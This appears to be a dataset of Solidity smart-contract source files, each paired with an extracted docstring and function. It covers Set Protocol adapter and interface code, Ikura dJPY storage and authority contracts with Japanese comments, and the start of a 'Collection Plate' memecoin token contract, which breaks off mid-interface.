duplicate elements. * * @param A Array of addresses * @param B Array of strings */ function validatePairsWithArray(address[] memory A, string[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate that address array lengths match, and calling address array are not empty * and contain no duplicate elements. * * @param A Array of addresses * @param B Array of addresses */ function validatePairsWithArray(address[] memory A, address[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate that address and bytes array lengths match. Validate address array is not empty * and contains no duplicate elements. * * @param A Array of addresses * @param B Array of bytes */ function validatePairsWithArray(address[] memory A, bytes[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate address array is not empty and contains no duplicate elements. * * @param A Array of addresses */ function _validateLengthAndUniqueness(address[] memory A) internal pure { require(A.length > 0, "Array length must be > 0"); require(!hasDuplicate(A), "Cannot duplicate addresses"); } } /* Copyright 2021 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.6.10; import { AddressArrayUtils } from "../lib/AddressArrayUtils.sol"; import { IBaseManager } from "../interfaces/IBaseManager.sol"; /** * @title BaseAdapter * @author Set Protocol * * Abstract class that houses common adapter-related state and functions. */ abstract contract BaseAdapter { using AddressArrayUtils for address[]; /* ============ Events ============ */ event CallerStatusUpdated(address indexed _caller, bool _status); event AnyoneCallableUpdated(bool indexed _status); /* ============ Modifiers ============ */ /** * Throws if the sender is not the SetToken operator */ modifier onlyOperator() { require(msg.sender == manager.operator(), "Must be operator"); _; } /** * Throws if the sender is not the SetToken methodologist */ modifier onlyMethodologist() { require(msg.sender == manager.methodologist(), "Must be methodologist"); _; } /** * Throws if caller is a contract, can be used to stop flash loan and sandwich attacks */ modifier onlyEOA() { require(msg.sender == tx.origin, "Caller must be EOA Address"); _; } /** * Throws if not allowed caller */ modifier onlyAllowedCaller(address _caller) { require(isAllowedCaller(_caller), "Address not permitted to call"); _; } /* ============ State Variables ============ */ // Instance of manager contract IBaseManager public manager; // Boolean indicating if anyone can call function bool public anyoneCallable; // Mapping of addresses allowed to call function mapping(address => bool) public callAllowList; /* ============ Constructor ============ */ constructor(IBaseManager _manager) public { manager = _manager; } /* ============ External Functions ============ */ /** * OPERATOR ONLY: Toggle ability for passed addresses to call only allowed caller functions * * @param _callers Array of caller addresses to toggle status * @param _statuses Array of statuses for each caller */ function updateCallerStatus(address[] calldata _callers, bool[] calldata _statuses) external onlyOperator { require(_callers.length == _statuses.length, "Array length mismatch"); require(_callers.length > 0, "Array length must be > 0"); require(!_callers.hasDuplicate(), "Cannot duplicate callers"); for (uint256 i = 0; i < _callers.length; i++) { address caller = _callers[i]; bool status = _statuses[i]; callAllowList[caller] = status; emit CallerStatusUpdated(caller, status); } } /** * OPERATOR ONLY: Toggle whether anyone can call function, bypassing the callAllowlist * * @param _status Boolean indicating whether to allow anyone call */ function updateAnyoneCallable(bool _status) external onlyOperator { anyoneCallable = _status; emit AnyoneCallableUpdated(_status); } /* ============ Internal Functions ============ */ /** * Invoke manager to transfer tokens from manager to other contract. * * @param _token Token being transferred from manager contract * @param _amount Amount of token being transferred */ function invokeManagerTransfer(address _token, address _destination, uint256 _amount) internal { bytes memory callData = abi.encodeWithSignature("transfer(address,uint256)", _destination, _amount); invokeManager(_token, callData); } /** * Invoke call from manager * * @param _module Module to interact with * @param _encoded Encoded byte data */ function invokeManager(address _module, bytes memory _encoded) internal { manager.interactManager(_module, _encoded); } /** * Determine if passed address is allowed to call function. If anyoneCallable set to true anyone can call otherwise needs to be approved. * * return bool Boolean indicating if allowed caller */ function isAllowedCaller(address _caller) internal view virtual returns (bool) { return anyoneCallable || callAllowList[_caller]; } } /* Copyright 2021 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.6.10; pragma experimental "ABIEncoderV2"; import { ISetToken } from "./ISetToken.sol"; interface IBaseManager { function setToken() external returns(ISetToken); function methodologist() external returns(address); function operator() external returns(address); function interactManager(address _module, bytes calldata _encoded) external; } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; pragma experimental "ABIEncoderV2"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { ISetToken } from "./ISetToken.sol"; interface IGeneralIndexModule { function startRebalance( ISetToken _setToken, address[] calldata _newComponents, uint256[] calldata _newComponentsTargetUnits, uint256[] calldata _oldComponentsTargetUnits, uint256 _positionMultiplier ) external; function trade( ISetToken _setToken, IERC20 _component, uint256 _ethQuantityLimit ) external; function tradeRemainingWETH( ISetToken _setToken, IERC20 _component, uint256 _minComponentReceived ) external; function raiseAssetTargets(ISetToken _setToken) external; function setTradeMaximums( ISetToken _setToken, address[] memory _components, uint256[] memory _tradeMaximums ) external; function setExchanges( ISetToken _setToken, address[] memory _components, string[] memory _exchangeNames ) external; function setCoolOffPeriods( ISetToken _setToken, address[] memory _components, uint256[] memory _coolOffPeriods ) external; function setExchangeData( ISetToken _setToken, address[] memory _components, bytes[] memory _exchangeData ) external; function setRaiseTargetPercentage(ISetToken _setToken, uint256 _raiseTargetPercentage) external; function setTraderStatus( ISetToken _setToken, address[] memory _traders, bool[] memory _statuses ) external; function setAnyoneTrade(ISetToken _setToken, bool _status) external; function initialize(ISetToken _setToken) external; } pragma solidity 0.6.10; pragma experimental "ABIEncoderV2"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @title ISetToken * @author Set Protocol * * Interface for operating with SetTokens. */ interface ISetToken is IERC20 { /* ============ Enums ============ */ enum ModuleState { NONE, PENDING, INITIALIZED } /* ============ Structs ============ */ /** * The base definition of a SetToken Position * * @param component Address of token in the Position * @param module If not in default state, the address of associated module * @param unit Each unit is the # of components per 10^18 of a SetToken * @param positionState Position ENUM. Default is 0; External is 1 * @param data Arbitrary data */ struct Position { address component; address module; int256 unit; uint8 positionState; bytes data; } /** * A struct that stores a component's cash position details and external positions * This data structure allows O(1) access to a component's cash position units and * virtual units. * * @param virtualUnit Virtual value of a component's DEFAULT position. Stored as virtual for efficiency * updating all units at once via the position multiplier. Virtual units are achieved * by dividing a "real" value by the "positionMultiplier" * @param componentIndex * @param externalPositionModules List of external modules attached to each external position. Each module * maps to an external position * @param externalPositions Mapping of module => ExternalPosition struct for a given component */ struct ComponentPosition { int256 virtualUnit; address[] externalPositionModules; mapping(address => ExternalPosition) externalPositions; } /** * A struct that stores a component's external position details including virtual unit and any * auxiliary data. * * @param virtualUnit Virtual value of a component's EXTERNAL position. * @param data Arbitrary data */ struct ExternalPosition { int256 virtualUnit; bytes data; } /* ============ Functions ============ */ function addComponent(address _component) external; function removeComponent(address _component) external; function editDefaultPositionUnit(address _component, int256 _realUnit) external; function addExternalPositionModule(address _component, address _positionModule) external; function removeExternalPositionModule(address _component, address _positionModule) external; function editExternalPositionUnit(address _component, address _positionModule, int256 _realUnit) external; function editExternalPositionData(address _component, address _positionModule, bytes calldata _data) external; function invoke(address _target, uint256 _value, bytes calldata _data) external returns(bytes memory); function editPositionMultiplier(int256 _newMultiplier) external; function mint(address _account, uint256 _quantity) external; function burn(address _account, uint256 _quantity) external; function lock() external; function unlock() external; function addModule(address _module) external; function removeModule(address _module) external; function initializeModule() external; function setManager(address _manager) external; function manager() external view returns (address); function moduleStates(address _module) external view returns (ModuleState); function getModules() external view returns (address[] memory); function getDefaultPositionRealUnit(address _component) external view returns(int256); function getExternalPositionRealUnit(address _component, address _positionModule) external view returns(int256); function getComponents() external view returns(address[] memory); function getExternalPositionModules(address _component) external view returns(address[] memory); function getExternalPositionData(address _component, address _positionModule) external view returns(bytes memory); function isExternalPositionModule(address _component, address _module) external view returns(bool); function isComponent(address _component) external view returns(bool); function positionMultiplier() external view returns (int256); function getPositions() external view returns (Position[] memory); function getTotalComponentRealUnits(address _component) external view returns(int256); function isInitializedModule(address _module) external view returns(bool); function isPendingModule(address _module) external view returns(bool); function isLocked() external view returns (bool); }
Determine if passed address is allowed to call function. If anyoneCallable set to true anyone can call otherwise needs to be approved. return bool Boolean indicating if allowed caller/
function isAllowedCaller(address _caller) internal view virtual returns (bool) { return anyoneCallable || callAllowList[_caller]; }
474,038
// This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // import 'ds-auth/auth.sol'; pragma solidity ^0.4.23; contract DSAuthority { function canCall( address src, address dst, bytes4 sig ) public view returns (bool); } contract DSAuthEvents { event LogSetAuthority (address indexed authority); event LogSetOwner (address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; constructor() public { owner = msg.sender; emit LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; emit LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; emit LogSetAuthority(authority); } modifier auth { require(isAuthorized(msg.sender, msg.sig)); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, this, sig); } } } /// math.sol -- mixin for inline numerical wizardry // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.4.13; contract DSMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x); } function min(uint x, uint y) internal pure returns (uint z) { return x <= y ? x : y; } function max(uint x, uint y) internal pure returns (uint z) { return x >= y ? x : y; } function imin(int x, int y) internal pure returns (int z) { return x <= y ? x : y; } function imax(int x, int y) internal pure returns (int z) { return x >= y ? x : y; } uint constant WAD = 10 ** 18; uint constant RAY = 10 ** 27; function wmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), WAD / 2) / WAD; } function rmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), RAY / 2) / RAY; } function wdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, WAD), y / 2) / y; } function rdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, RAY), y / 2) / y; } // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function rpow(uint x, uint n) internal pure returns (uint z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } // import './IkuraStorage.sol'; /** * * ロジックの更新に影響されない永続化データを保持するクラス * */ contract IkuraStorage is DSMath, DSAuth { // オーナー(中央銀行)のアドレス address[] ownerAddresses; // 各アドレスのdJPYの口座残高 mapping(address => uint) coinBalances; // 各アドレスのSHINJI tokenの口座残高 mapping(address => uint) tokenBalances; // 各アドレスが指定したアドレスに対して許可する最大送金額 mapping(address => mapping (address => uint)) coinAllowances; // dJPYの発行高 uint _totalSupply = 0; // 手数料率 // 0.01pips = 1 // 例). 手数料を 0.05% とする場合は 500 uint _transferFeeRate = 500; // 最低手数料額 // 1 = 1dJPY // amount * 手数料率で算出した金額がここで設定した最低手数料を下回る場合は、最低手数料額を手数料とする uint8 _transferMinimumFee = 5; address tokenAddress; address multiSigAddress; address authorityAddress; // @NOTE リリース時にcontractのdeploy -> watch contract -> setOwnerの流れを //省略したい場合は、ここで直接controllerのアドレスを指定するとショートカットできます // 勿論テストは通らなくなるので、テストが通ったら試してね constructor() public DSAuth() { /*address controllerAddress = 0x34c5605A4Ef1C98575DB6542179E55eE1f77A188; owner = controllerAddress; LogSetOwner(controllerAddress);*/ } function changeToken(address tokenAddress_) public auth { tokenAddress = tokenAddress_; } function changeAssociation(address multiSigAddress_) public auth { multiSigAddress = multiSigAddress_; } function changeAuthority(address authorityAddress_) public auth { authorityAddress = authorityAddress_; } // -------------------------------------------------- // functions for _totalSupply // -------------------------------------------------- /** * 総発行額を返す * * @return 総発行額 */ function totalSupply() public view auth returns (uint) { return _totalSupply; } /** * 総発行数を増やす(mintと並行して呼ばれることを想定) * * @param amount 鋳造数 */ function addTotalSupply(uint amount) public auth { _totalSupply = add(_totalSupply, amount); } /** * 総発行数を減らす(burnと並行して呼ばれることを想定) * * @param amount 鋳造数 */ function subTotalSupply(uint amount) public auth { _totalSupply = sub(_totalSupply, amount); } // -------------------------------------------------- // functions for _transferFeeRate // -------------------------------------------------- /** * 手数料率を返す * * @return 現在の手数料率 */ function transferFeeRate() public view auth returns (uint) { return _transferFeeRate; } /** * 手数料率を変更する * * @param newTransferFeeRate 新しい手数料率 * * @return 更新に成功したらtrue、失敗したらfalse(今のところ失敗するケースはない) */ function setTransferFeeRate(uint newTransferFeeRate) public auth returns (bool) { _transferFeeRate = newTransferFeeRate; return true; } // -------------------------------------------------- // functions for _transferMinimumFee // -------------------------------------------------- /** * 最低手数料返す * * @return 現在の最低手数料 */ function transferMinimumFee() public view auth returns (uint8) { return _transferMinimumFee; } /** * 最低手数料を変更する * * @param newTransferMinimumFee 新しい最低手数料 * * @return 更新に成功したらtrue、失敗したらfalse(今のところ失敗するケースはない) */ function setTransferMinimumFee(uint8 newTransferMinimumFee) public auth { _transferMinimumFee = newTransferMinimumFee; } // -------------------------------------------------- // functions for ownerAddresses // -------------------------------------------------- /** * 指定したユーザーアドレスをオーナーの一覧に追加する * * トークンの移動時に内部的にオーナーのアドレスを管理するための関数。 * トークンの所有者 = オーナーという扱いになったので、この配列に含まれるアドレスの一覧は * 手数料からの収益の分配をする時に利用するだけで、オーナーかどうかの判定には利用しない * * @param addr ユーザーのアドレス * * @return 処理に成功したらtrue、失敗したらfalse */ function addOwnerAddress(address addr) internal returns (bool) { ownerAddresses.push(addr); return true; } /** * 指定したユーザーアドレスをオーナーの一覧から削除する * * トークンの移動時に内部的にオーナーのアドレスを管理するための関数。 * * @param addr オーナーに属するユーザーのアドレス * * @return 処理に成功したらtrue、失敗したらfalse */ function removeOwnerAddress(address addr) internal returns (bool) { uint i = 0; while (ownerAddresses[i] != addr) { i++; } while (i < ownerAddresses.length - 1) { ownerAddresses[i] = ownerAddresses[i + 1]; i++; } ownerAddresses.length--; return true; } /** * 最初のオーナー(contractをdeployしたユーザー)のアドレスを返す * * @return 最初のオーナーのアドレス */ function primaryOwner() public view auth returns (address) { return ownerAddresses[0]; } /** * 指定したアドレスがオーナーアドレスに登録されているか返す * * @param addr ユーザーのアドレス * * @return オーナーに含まれている場合はtrue、含まれていない場合はfalse */ function isOwnerAddress(address addr) public view auth returns (bool) { for (uint i = 0; i < ownerAddresses.length; i++) { if (ownerAddresses[i] == addr) return true; } return false; } /** * オーナー数を返す * * @return オーナー数 */ function numOwnerAddress() public view auth returns (uint) { return ownerAddresses.length; } // -------------------------------------------------- // functions for coinBalances // -------------------------------------------------- /** * 指定したユーザーのdJPY残高を返す * * @param addr ユーザーのアドレス * * @return dJPY残高 */ function coinBalance(address addr) public view auth returns (uint) { return coinBalances[addr]; } /** * 指定したユーザーのdJPYの残高を増やす * * @param addr ユーザーのアドレス * @param amount 差分 * * @return 処理に成功したらtrue、失敗したらfalse */ function addCoinBalance(address addr, uint amount) public auth returns (bool) { coinBalances[addr] = add(coinBalances[addr], amount); return true; } /** * 指定したユーザーのdJPYの残高を減らす * * @param addr ユーザーのアドレス * @param amount 差分 * * @return 処理に成功したらtrue、失敗したらfalse */ function subCoinBalance(address addr, uint amount) public auth returns (bool) { coinBalances[addr] = sub(coinBalances[addr], amount); return true; } // -------------------------------------------------- // functions for tokenBalances // -------------------------------------------------- /** * 指定したユーザーのSHINJIトークンの残高を返す * * @param addr ユーザーのアドレス * * @return SHINJIトークン残高 */ function tokenBalance(address addr) public view auth returns (uint) { return tokenBalances[addr]; } /** * 指定したユーザーのSHINJIトークンの残高を増やす * * @param addr ユーザーのアドレス * @param amount 差分 * * @return 処理に成功したらtrue、失敗したらfalse */ function addTokenBalance(address addr, uint amount) public auth returns (bool) { tokenBalances[addr] = add(tokenBalances[addr], amount); if (tokenBalances[addr] > 0 && !isOwnerAddress(addr)) { addOwnerAddress(addr); } return true; } /** * 指定したユーザーのSHINJIトークンの残高を減らす * * @param addr ユーザーのアドレス * @param amount 差分 * * @return 処理に成功したらtrue、失敗したらfalse */ function subTokenBalance(address addr, uint amount) public auth returns (bool) { tokenBalances[addr] = sub(tokenBalances[addr], amount); if (tokenBalances[addr] <= 0) { removeOwnerAddress(addr); } return true; } // -------------------------------------------------- // functions for coinAllowances // -------------------------------------------------- /** * 送金許可金額を返す * * @param owner_ 送金者 * @param spender 送金代行者 * * @return 送金許可金額 */ function coinAllowance(address owner_, address spender) public view auth returns (uint) { return coinAllowances[owner_][spender]; } /** * 送金許可金額を指定した金額だけ増やす * * @param owner_ 送金者 * @param spender 送金代行者 * @param amount 金額 * * @return 更新に成功したらtrue、失敗したらfalse */ function addCoinAllowance(address owner_, address spender, uint amount) public auth returns (bool) { coinAllowances[owner_][spender] = add(coinAllowances[owner_][spender], amount); return true; } /** * 送金許可金額を指定した金額だけ減らす * * @param owner_ 送金者 * @param spender 送金代行者 * @param amount 金額 * * @return 更新に成功したらtrue、失敗したらfalse */ function subCoinAllowance(address owner_, address spender, uint amount) public auth returns (bool) { coinAllowances[owner_][spender] = sub(coinAllowances[owner_][spender], amount); return true; } /** * 送金許可金額を指定した値に更新する * * @param owner_ 送金者 * @param spender 送金代行者 * @param amount 送金許可金額 * * @return 指定に成功したらtrue、失敗したらfalse */ function setCoinAllowance(address owner_, address spender, uint amount) public auth returns (bool) { coinAllowances[owner_][spender] = amount; return true; } /** * 権限チェック用関数のoverride * * @param src 実行者アドレス * @param sig 実行関数の識別子 * * @return 実行が許可されていればtrue、そうでなければfalse */ function isAuthorized(address src, bytes4 sig) internal view returns (bool) { sig; // #HACK return src == address(this) || src == owner || src == tokenAddress || src == authorityAddress || src == multiSigAddress; } } /** * * アクセス権限を制御するクラス * */ contract IkuraAuthority is DSAuthority, DSAuth { // データの永続化ストレージ IkuraStorage tokenStorage; // 対称アクションが投票を必要としている場かどうかのマッピング // #TODO 後から投票アクションを増減させたいのであれば、これもstorageクラスに持っていったほうがよい? mapping(bytes4 => bool) actionsWithToken; // 誰からも呼び出すことができないアクション mapping(bytes4 => bool) actionsForbidden; // @NOTE リリース時にcontractのdeploy -> watch contract -> setOwnerの流れを //省略したい場合は、ここで直接controllerのアドレスを指定するとショートカットできます // 勿論テストは通らなくなるので、テストが通ったら試してね constructor() public DSAuth() { /*address controllerAddress = 0x34c5605A4Ef1C98575DB6542179E55eE1f77A188; owner = controllerAddress; LogSetOwner(controllerAddress);*/ } /** * ストレージを更新する * * @param storage_ 新しいストレージのアドレス */ function changeStorage(address storage_) public auth { tokenStorage = IkuraStorage(storage_); // トークンの保有率による承認プロセスが必要なアクションを追加 actionsWithToken[stringToSig('mint(uint256)')] = true; actionsWithToken[stringToSig('burn(uint256)')] = true; actionsWithToken[stringToSig('confirmProposal(string, uint256)')] = true; actionsWithToken[stringToSig('numberOfProposals(string)')] = true; // 誰からも呼び出すことができないアクションを追加 actionsForbidden[stringToSig('forbiddenAction()')] = true; } /** * 権限チェックのoverride * オーナーのみ許可する * * @param src 実行者アドレス * @param dst 実行contract * @param sig 実行関数の識別子 * * @return 呼び出し権限を持つ場合はtrue、そうでない場合はfalse */ function canCall(address src, address dst, bytes4 sig) public constant returns (bool) { // 投票が必要なアクションの場合には別ロジックでチェックを行う if (actionsWithToken[sig]) return canCallWithAssociation(src, dst); // 誰からも呼ぶことができないアクション if (actionsForbidden[sig]) return canCallWithNoOne(); // デフォルトの権限チェック return canCallDefault(src); } /** * デフォルトではオーナーメンバー かどうかをチェックする * * @return オーナーメンバーである場合はtrue、そうでない場合はfalse */ function canCallDefault(address src) internal view returns (bool) { return tokenStorage.isOwnerAddress(src); } /** * トークン保有者による投票が必要なアクション * * @param src 実行者アドレス * @param dst 実行contract * * @return アクションを許可する場合はtrue、却下された場合はfalse */ function canCallWithAssociation(address src, address dst) internal view returns (bool) { // warning抑制 dst; return tokenStorage.isOwnerAddress(src) && (tokenStorage.numOwnerAddress() == 1 || tokenStorage.tokenBalance(src) > 0); } /** * 誰からも呼ぶことのできないアクション * テスト用の関数です * * @return 常にfalseを返す */ function canCallWithNoOne() internal pure returns (bool) { return false; } /** * 関数定義からfunction identifierへ変換する * * #see http://solidity.readthedocs.io/en/develop/units-and-global-variables.html#block-and-transaction-properties * * @param str 関数定義 * * @return ハッシュ化されたキーの4バイト */ function stringToSig(string str) internal pure returns (bytes4) { return bytes4(keccak256(str)); } }
指定したユーザーアドレスをオーナーの一覧に追加する トークンの移動時に内部的にオーナーのアドレスを管理するための関数。 トークンの所有者 = オーナーという扱いになったので、この配列に含まれるアドレスの一覧は 手数料からの収益の分配をする時に利用するだけで、オーナーかどうかの判定には利用しない addr ユーザーのアドレス return 処理に成功したらtrue、失敗したらfalse/
function addOwnerAddress(address addr) internal returns (bool) { ownerAddresses.push(addr); return true; }
6,378,196
/** *Submitted for verification at Etherscan.io on 2022-04-12 */ // ▄████▄ ▒█████ ██▓ ██▓ ▓█████ ▄████▄ ▄▄▄█████▓ ██▓ ▒█████ ███▄ █ ██▓███ ██▓ ▄▄▄ ▄▄▄█████▓▓█████ // ▒██▀ ▀█ ▒██▒ ██▒▓██▒ ▓██▒ ▓█ ▀ ▒██▀ ▀█ ▓ ██▒ ▓▒▓██▒▒██▒ ██▒ ██ ▀█ █ ▓██░ ██▒▓██▒ ▒████▄ ▓ ██▒ ▓▒▓█ ▀ // ▒▓█ ▄ ▒██░ ██▒▒██░ ▒██░ ▒███ ▒▓█ ▄ ▒ ▓██░ ▒░▒██▒▒██░ ██▒▓██ ▀█ ██▒ ▓██░ ██▓▒▒██░ ▒██ ▀█▄ ▒ ▓██░ ▒░▒███ // ▒▓▓▄ ▄██▒▒██ ██░▒██░ ▒██░ ▒▓█ ▄ ▒▓▓▄ ▄██▒░ ▓██▓ ░ ░██░▒██ ██░▓██▒ ▐▌██▒ ▒██▄█▓▒ ▒▒██░ ░██▄▄▄▄██░ ▓██▓ ░ ▒▓█ ▄ // ▒ ▓███▀ ░░ ████▓▒░░██████▒░██████▒░▒████▒▒ ▓███▀ ░ ▒██▒ ░ ░██░░ ████▓▒░▒██░ ▓██░ ▒██▒ ░ ░░██████▒▓█ ▓██▒ ▒██▒ ░ ░▒████▒ // ░ ░▒ ▒ ░░ ▒░▒░▒░ ░ ▒░▓ ░░ ▒░▓ ░░░ ▒░ ░░ ░▒ ▒ ░ ▒ ░░ ░▓ ░ ▒░▒░▒░ ░ ▒░ ▒ ▒ ▒▓▒░ ░ ░░ ▒░▓ ░▒▒ ▓▒█░ ▒ ░░ ░░ ▒░ ░ // ░ ▒ ░ ▒ ▒░ ░ ░ ▒ ░░ ░ ▒ ░ ░ ░ ░ ░ ▒ ░ ▒ ░ ░ ▒ ▒░ ░ ░░ ░ ▒░ ░▒ ░ ░ ░ ▒ ░ ▒ ▒▒ ░ ░ ░ ░ ░ // ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ▒ ░░ ░ ░ ▒ ░ ░ ░ ░░ ░ ░ ░ ▒ ░ ░ // ░ ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ // ░ ░ (___) /* * https://t.me/CollectionPlate * https://twitter.com/collectionerc20 * */ /* Collection Plate ($Collect) is designed to help $CHURCH achieve its goal of flipping $CULT. We people behind $CHURCH are saints and created a low-fee coin for the good of the people. Unfortunately, by doing so, they lack some of the needed fees to take $CHURCH to the next level. We propose, $COLLECT. Collection Plate ($COLLECT) will help $CHURCH by working directly with them and giving them partial access to the fees generated. Initially we will showcase this by buying and burning $CHURCH. As we grow, we will work to connect with $CHURCH and grant them access to the fees, so we can grow together. As Hozier says, "Take me to Church"! */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } interface IUniswapV2Pair { function sync() external; } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event 